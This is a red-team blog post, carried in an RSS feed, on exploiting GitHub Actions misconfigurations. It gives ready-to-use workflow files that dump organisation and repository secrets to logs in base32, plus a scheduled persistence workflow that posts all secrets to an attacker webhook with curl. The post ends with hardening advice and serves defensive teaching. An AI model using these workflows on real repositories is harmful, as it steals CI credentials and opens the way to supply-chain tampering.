<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>persistence Archives -</title>
	<atom:link href="https://barriersec.com/tag/persistence/feed/" rel="self" type="application/rss+xml" />
	<link>https://barriersec.com/tag/persistence/</link>
	<description></description>
	<lastBuildDate>Wed, 27 Sep 2023 15:17:14 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.2.15</generator>

<image>
	<url>https://barriersec.com/wp-content/uploads/cropped-Monochrome-on-Transparent-32x32.png</url>
	<title>persistence Archives -</title>
	<link>https://barriersec.com/tag/persistence/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Github Misconfiguration to Secrets Exfiltration</title>
		<link>https://barriersec.com/2023/09/github-misconfiguration-to-secrets-exfiltration/</link>
		
		<dc:creator><![CDATA[goutham madhwaraj]]></dc:creator>
		<pubDate>Fri, 08 Sep 2023 13:52:28 +0000</pubDate>
				<category><![CDATA[Supply Chain Security]]></category>
		<category><![CDATA[github misconfiguration]]></category>
		<category><![CDATA[persistence]]></category>
		<category><![CDATA[redteam]]></category>
		<category><![CDATA[secrets exfiltration]]></category>
		<category><![CDATA[supply chain security]]></category>
		<guid isPermaLink="false">https://barriersec.com/?p=804</guid>

					<description><![CDATA[<p>A few months ago, while on a private engagement, i stumbled upon limited access to a Github organisation account. Github&#8230;</p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2023/09/github-misconfiguration-to-secrets-exfiltration/">Github Misconfiguration to Secrets Exfiltration</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>A few months ago, while on a private engagement, i stumbled upon limited access to a Github organisation account. Github Organisation contained multiple source code repositories using Github actions as their CI to run custom unit tests and among other jobs.I also noticed , most of the repositories default branches hardened sufficiently with branch protection rules which involved multiple reviews before code gets merged to main/release branch. There were also restrictions to create new Github repositories.</p>
<p>Before we move to exploitation part, lets understand some basics of github version control and CICD systems. Folks who have experience with github ecosystem can skip this part and directly move to Misconfig part.</p>
<h3><strong>Basics of CI/CD Workflows :</strong></h3>
<p>GitHub provides companies with the ability to create an organization to store their source code repositories. Within these organisations, multiple repositories can be created, each with its own visibility settings: either as <strong>Private</strong>, safeguarding proprietary code, or <strong>Public</strong>, facilitating open-source project contributions, depending on the specific needs and objectives of the organization.</p>
<p>In the context of GitHub repositories, they serve as repositories for source code, and in modern software development practices, they often come equipped with automated pipelines tailored for continuous deployment and continuous integration (CI/CD) purposes. This setup streamlines the process of integrating new code changes into existing production codebases. When a developer aims to introduce a new feature or improvement, they initiate a pull request against the production codebase. Subsequently, the <strong>CI</strong> system orchestrates a battery of automated unit tests and other checks to ensure that these changes do not compromise the stability or security of the codebase.</p>
<div class="flex-1 overflow-hidden">
<div class="react-scroll-to-bottom--css-jxyvc-79elbk h-full dark:bg-gray-800">
<div class="react-scroll-to-bottom--css-jxyvc-1n7m0yu">
<div class="flex flex-col text-sm dark:bg-gray-800">
<div class="group w-full text-token-text-primary border-b border-black/10 dark:border-gray-900/50 bg-gray-50 dark:bg-[#444654]" data-testid="conversation-turn-4">
<div class="p-4 justify-center text-base md:gap-6 md:py-6 m-auto">
<div class="flex flex-1 gap-4 text-base mx-auto md:gap-6 md:max-w-2xl lg:max-w-[38rem] xl:max-w-3xl }">
<div class="relative flex w-[calc(100%-50px)] flex-col gap-1 md:gap-3 lg:w-[calc(100%-115px)]">
<div class="flex flex-grow flex-col gap-3 max-w-full">
<div class="min-h-[20px] flex flex-col items-start gap-3 overflow-x-auto whitespace-pre-wrap break-words">
<div class="markdown prose w-full break-words dark:prose-invert light">
<p>Once these checks pass, the <strong>CD</strong> system takes over, automating the deployment of the new feature to the production infrastructure, following thorough checks and approvals. This CI/CD orchestration offers convenience and efficiency, significantly reducing the time and effort required by both the infrastructure and development teams.</p>
<p>However, for these automated <strong>CI/CD</strong> systems to function effectively, they often require access to sensitive information, such as secret keys or credentials. For instance, the <strong>CI</strong> system might need to interact with third-party systems, while the <strong>CD</strong> system may require access to sensitive keys for deploying to cloud infrastructure. To maintain security best practices and avoid hardcoding secrets directly into CI/CD configuration files, organisations employ various strategies to securely manage these secrets.</p>
<p>Depending on the specific needs and the CI/CD systems in use, companies can employ different approaches to store secrets securely. Some popular CI/CD systems include GitHub Actions (native to the GitHub ecosystem), CircleCI, Jenkins, among others. Organisations often create customised combinations of these systems to meet their unique requirements. For instance, a company might utilise GitHub Actions for certain CI checks and CircleCI for additional checks and deployments.</p>
<p>In scenarios where companies natively employ GitHub Actions for their CI checks, they have several options for securely storing the secrets required by these actions. These secrets can be stored at the <strong>repository level</strong>, at the <strong>organization level</strong>, or <strong>tied to specific environments</strong>, offering flexibility and granular control over access to sensitive information.</p>
<ol>
<li><strong>Repository Secrets</strong>:
<ul>
<li><strong>Repository Secrets</strong> when you have specific secrets or credentials that are only needed for a particular repository.</li>
<li>Ideal for project-specific keys, tokens, or credentials.</li>
<li>Ensures that secrets are scoped to the individual repository and not accessible across the entire organization.</li>
</ul>
</li>
<li><strong>Organization Secrets</strong>:
<ul>
<li><strong>Organization Secrets</strong> when you have secrets or credentials that are needed across multiple repositories within your organization.</li>
<li>Useful for shared services, credentials for multiple projects, or global configurations.</li>
<li>Simplifies management by centralising secrets at the organization level, reducing redundancy.</li>
</ul>
</li>
<li><strong>Environment Deployment Secrets</strong>:
<ul>
<li><strong>Environment Deployment Secrets</strong> when secrets are specific to a particular deployment environment, such as development, staging, or production.</li>
<li>These secrets ensure that each environment has access to the necessary configurations, keys, or credentials without exposing them broadly.</li>
</ul>
</li>
</ol>
</div>
</div>
</div>
<div class="flex justify-between lg:block">
<div class="text-gray-400 flex self-end lg:self-center justify-center mt-2 gap-2 md:gap-3 lg:gap-1 lg:absolute lg:top-0 lg:translate-x-full lg:right-0 lg:mt-0 lg:pl-2 visible">
<div class="flex gap-1">We identified that the current organisation were using Github Actions for their CI checks and Jenkins / Circle CI for additional CI checks and CD.</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="h-32 md:h-48 flex-shrink-0"></div>
<p><strong style="color: #353535; font-size: 2em;">Mis-config 1 &#8211; Exfiltrate Organisation Secrets</strong><span style="color: #353535; font-size: 2em; font-weight: bold;"> :</span></p>
</div>
</div>
</div>
</div>
<p>I came across several repositories that appeared to be quite old, lacking or having disabled branch protection rules. These repositories seemed to have served as temporary storage for Proof of Concept projects and were left neglected without being archived. Suddenly, a recent memory of a blog post I read, titled &#8220;SLSA and DIP: It&#8217;s Build Time&#8221; (<a href="https://boostsecurity.io/blog/slsa-dip-its-build-time" target="_new" rel="noopener">https://boostsecurity.io/blog/slsa-dip-its-build-time</a>), flashed through my mind. It struck me that this situation could potentially lead to a misconfiguration that might allow unauthorized access to secrets stored at the organization level with default settings.</p>
<p>This situation raised a red flag, as it represents a classic case of an insider threat or privilege escalation. In an ideal company setup, the DevOps team would be responsible for and have access to secrets stored at the organization level. However, this misconfiguration could potentially lead to unauthorised elevation of privileges, creating a serious security concern.</p>
<p><strong>To exploit this misconfiguration, the following prerequisites should be considered:</strong></p>
<ol>
<li><strong>Repository Creation or Write Access</strong>: The attacker must possess one of the following capabilities:
<ul>
<li>The ability to create a new repository within a private organization.</li>
<li>Write access to a repository that lacks branch protection rules.</li>
<li>The capability to create branches and initiate Pull Requests on repositories with access to organization secrets.</li>
</ul>
</li>
<li><strong>GitHub Actions/Workflows Enabled</strong>: The target repositories must have GitHub Actions or workflows enabled by default, and this condition applies to all private repositories or repositories that satisfy the first criterion.</li>
<li><strong>Sensitive Secrets Stored at Organization Level accessible to misconfigured repository</strong>: The attacker&#8217;s objective relies on the presence of sensitive secrets stored at the organization level. These secrets represent the valuable target of the exploit.</li>
</ol>
<p>In our case we had,</p>
<ol>
<li>Write access to a repository with no branch protection rules.</li>
<li>Ability to create a Github actions and trigger a workflow in previously identified repository.</li>
<li>I identified by reviewing Github workflow files of other repositories that there was a github secret &#8220;<strong>NPM_PRIV_TOKEN</strong>&#8221; consumed by a lot of services .I assumed that the secret is stored at an organisation level at this point and is accessible to all private repositories.(default setting / which later confirmed via testing.) As the name suggest it was an npm token which had privileges to modify and access private registry npm packages and most likely set by their Infra team if taken over, results in poisoning / tampering of source packages consumed by production services.</li>
<li><strong>Note : we can dump all secrets accessible to repo without knowing the secret with secrets context, toJson(secrets) &amp; variable names with vars context, and github built in function , toJson()</strong></li>
</ol>
<p>With the prior conditions to exploit satisfied , Our goal was to steal organisation secret &#8220;<strong>NPM_PRIV_TOKEN&#8221; .</strong></p>
<h3>Its Exploit time:</h3>
<p>Craft a malicious github actions workflow file which access the stored organisation secret and dump it over actions log with base32 encoding. Github actions does not allow clear text logging of secrets as part of actions log.</p>
<p>As we see below this is a basic github actions workflow file which triggers when there is a Push / Pull request action to the main branch of this repository from the user. create a file / push this to path &#8220;<strong>.github/workflows/exfil.yaml</strong>&#8221;</p>
<pre>name: Exfiltrate org secret
on:
  push:
    branches: [main]
  pull_request:
    branches: [main]
jobs:
  exfil:
    runs-on: ubuntu-latest
    steps:
    - name: exfil org secret
      id: response
      run:  |
          echo "lets exfil some org secrets..."
          echo "${{secrets.NPM_PRIV_TOKEN}}" | base32</pre>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-808" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM.png" alt="" width="2356" height="1220" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM.png 2356w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-300x155.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-1024x530.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-768x398.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-1536x795.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-2048x1061.png 2048w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.26.37-AM-1600x829.png 1600w" sizes="(max-width: 2356px) 100vw, 2356px" /></p>
<p>And workflow would have triggered automatically. If not just make a dummy commit / create a blank file with dummy commit to trigger the workflow.</p>
<p>Check the Actions log to see the exfiltrated org secret.</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-809" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM.png" alt="" width="2356" height="1098" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM.png 2356w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-300x140.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-1024x477.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-768x358.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-1536x716.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-2048x954.png 2048w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.31.06-AM-1600x746.png 1600w" sizes="(max-width: 2356px) 100vw, 2356px" /></p>
<p>And lets Base32 Decode the result to get the cleartext secret.</p>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-810" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.32.23-AM.png" alt="" width="1312" height="1098" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.32.23-AM.png 1312w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.32.23-AM-300x251.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.32.23-AM-1024x857.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-12.32.23-AM-768x643.png 768w" sizes="(max-width: 1312px) 100vw, 1312px" /></p>
<h2><strong>Mis-config 2 &#8211; </strong><strong>Exfiltrate </strong><strong>Repository level Secrets</strong> :</h2>
<p>After reviewing several service repositories, I checked their GitHub Actions workflow files for secrets unique to each repository.I noticed something interesting: in one repository&#8217;s workflow file, it used &#8220;${{secrets.CI_TOKEN }}&#8221; as a secret. Normally, only the DevOps team or repository owners can manage secrets at the repository level due to security concerns. If someone were to steal the CI_TOKEN, it could lead to compromised builds and workflow tampering, depending on the CI system and token privileges (like Circle CI or Jenkins).</p>
<p>It&#8217;s important to mention that this repository had strong branch protection rules, requiring multiple reviews to merge changes into the base branch. Additionally, CODEOWNERS triggered mandatory reviews by the DevOps team when modifying GitHub workflow files in the base branch. However, I found that secrets stored at the repository level could be accessed by workflows from all branches, not just the base branch.</p>
<p>These are the prior conditions to be aware to exploit this misconfiguration :</p>
<ol>
<li><strong>Ability to create a new branch on a service repository .</strong></li>
<li><strong>GitHub Actions/Workflows Enabled</strong>: The target repositories must have GitHub Actions or workflows enabled by default, and this condition applies to all private repositories or repositories that satisfy the first criterion.</li>
<li><strong>Sensitive Secrets stored at Repository level for Selected Repository .</strong></li>
</ol>
<p>In our case we had,</p>
<ol>
<li>Ability to create a new branch on identified service repository.</li>
<li>Github actions were enabled for the selected repository and also ability to run on created branches without any restriction.</li>
<li> secret &#8216;<strong>CI_TOKEN&#8217;</strong> stored at identified service Github repo.</li>
<li><strong>Note : we can dump all secrets accessible to repo without knowing the secret with secrets context, toJson(secrets) &amp; variable names with vars context and github built in function , toJson()</strong></li>
</ol>
<p>With the prior conditions to exploit satisfied , Our goal was to steal Repository secret &#8220;<strong>CI_TOKEN</strong><strong>&#8221; .</strong></p>
<h3>Its Exploit time:</h3>
<p>Create a New branch for the identified repository in our case lets create a new branch &#8220;<strong>test-exfiltration</strong>&#8221; from base branch.</p>
<p><img decoding="async" loading="lazy" class="alignnone wp-image-813" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM.png" alt="" width="786" height="382" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM.png 2046w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM-300x146.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM-1024x497.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM-768x373.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM-1536x746.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.09.49-PM-1600x777.png 1600w" sizes="(max-width: 786px) 100vw, 786px" /></p>
<p>Lets create a malicious github workflow file at the path &#8220;<strong>.github/workflows/exfil.yaml</strong>&#8221; for the newly created branch. I will follow this steps on UI for simplicity and better verbose.</p>
<pre>name: Exfiltrate Repository secret
on:
  push:
    branches: [test-exfiltration]
  pull_request:
    branches: [test-exfiltration]
jobs:
  exfil:
    runs-on: ubuntu-latest
    steps:
    - name: exfil repository secret
      id: response
      run:  |
          echo "lets exfil some repository secrets..."
          echo "${{secrets.CI_TOKEN}}" | base32</pre>
<p>We observe that workflow runs successfully and triggers the exfiltration each time we commit to this branch via Push / Pull Request. And finally we base32 encode it and print to log which can be decoded to fetch cleartext secret.</p>
<p><img decoding="async" loading="lazy" class="alignnone wp-image-815" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM.png" alt="" width="697" height="315" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM.png 2846w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-300x136.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-1024x463.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-768x347.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-1536x694.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-2048x925.png 2048w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.43-PM-1600x723.png 1600w" sizes="(max-width: 697px) 100vw, 697px" /></p>
<p><img decoding="async" loading="lazy" class="alignnone wp-image-816" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM.png" alt="" width="814" height="368" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM.png 2846w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-300x136.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-1024x463.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-768x347.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-1536x694.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-2048x925.png 2048w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-2.22.10-PM-1600x723.png 1600w" sizes="(max-width: 814px) 100vw, 814px" /></p>
<p>To establish persistence, we can enhance the previous workflow by scheduling a recurring cronjob. This modified workflow would run at specified intervals and send all the variables and secrets accessible to compromised repository to an attacker-controlled site. The reason behind this approach is that secrets often undergo rotation for security reasons, making it crucial to maintain persistence for extended simulations aimed at testing an organization&#8217;s detection capabilities.</p>
<p>By incorporating this scheduled cronjob into our workflow, we ensure that any changes or updates to secrets within the organization are continuously monitored and exfiltrated, providing valuable insights into the organization&#8217;s security posture and response mechanisms.</p>
<pre>name: Weekly CI Exfil

on:
  push:
    branches:
      - test-exfiltration
  pull_request:
    branches:
      - test-exfiltration
  schedule:
    - cron: '0 15 * * 1'  # run every Monday at 3 pm UTC

jobs:
  build:
    runs-on: ubuntu-latest

    steps:
    - name: Exfil Secrets
      run: |
        WEBHOOK_URL="https://&lt;your webhook&gt;"
        echo $ALL_VARS | curl -X POST -H "Content-Type: application/json" "$WEBHOOK_URL" -d @- 
        echo $ALL_<span class="pl-ent">SECRETS | curl -X POST -H "Content-Type: application/json" "$WEBHOOK_URL" -d @-</span>
      env:
        ALL_VARS: ${{ toJSON(secrets) }}
        ALL_<span class="pl-ent">SECRETS</span>: <span class="pl-s">${{ toJSON(vars) }}</span>

</pre>
<p><img decoding="async" loading="lazy" class="alignnone size-full wp-image-817" src="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM.png" alt="" width="2354" height="678" srcset="https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM.png 2354w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-300x86.png 300w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-1024x295.png 1024w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-768x221.png 768w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-1536x442.png 1536w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-2048x590.png 2048w, https://barriersec.com/wp-content/uploads/Screenshot-2023-09-08-at-3.36.19-PM-1600x461.png 1600w" sizes="(max-width: 2354px) 100vw, 2354px" /></p>
<p>Voila, web hook received with exfiltrated base32 encoded secret.</p>
<p>Even though our focus in this post has been mainly towards exfiltrate org level and repository level secrets, the highlighted misconfigurations could have resulted in completely different attack vectors (crypto mining etc) .</p>
<p><strong>Hardening notes to Github Admins/DevOps :</strong></p>
<ol>
<li>Limit Repository creation access to Admin users and also make sure enforce branch protection rules to all the repositories to prevent wrongful actions by users.Also,Archive/Delete older source repositories .</li>
<li>Enforce RBAC permissions to Github repositories. All Github users should not have write access to all the repositories. Enforce team level granular permissions.</li>
<li>Limit organisation secrets exposure to selected repositories instead of all repositories .</li>
<li>Use reusable workflows to prevent unauthorised modifications to existing workflow files.</li>
<li>Notify and enforce reviews by DevOps/Security when such modifications happen via maintaining CODEOWNERS file.(<a href="https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners">https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners</a> )</li>
<li>Limit ability to run Github Actions for selected/required source repositories only.</li>
<li>Use Deployment protection rules and store secrets in the context of environment.</li>
<li>Adapt to supply chain security frameworks such as SLSA (<a href="https://slsa.dev/">https://slsa.dev/</a>) to enhance security posture and guard against supply chain security threats.</li>
</ol>
<p>In the end, it&#8217;s worth noting that a simple misconfiguration can create a significant hole/blindspot in an organization&#8217;s security posture.</p>
<p>References / articles worth quoting :</p>
<p><a href="https://boostsecurity.io/blog/slsa-dip-its-build-time">https://boostsecurity.io/blog/slsa-dip-its-build-time</a></p>
<p><a href="https://slsa.dev/">https://slsa.dev/</a></p>
<p><a href="https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions">https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions</a></p>
<p><a href="https://medium.com/checkmarx-security/dependabot-contributes-malicious-code-e79999a282e1">https://medium.com/checkmarx-security/dependabot-contributes-malicious-code-e79999a282e1</a></p>
<p>The post <a rel="nofollow" href="https://barriersec.com/2023/09/github-misconfiguration-to-secrets-exfiltration/">Github Misconfiguration to Secrets Exfiltration</a> appeared first on <a rel="nofollow" href="https://barriersec.com"></a>.</p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
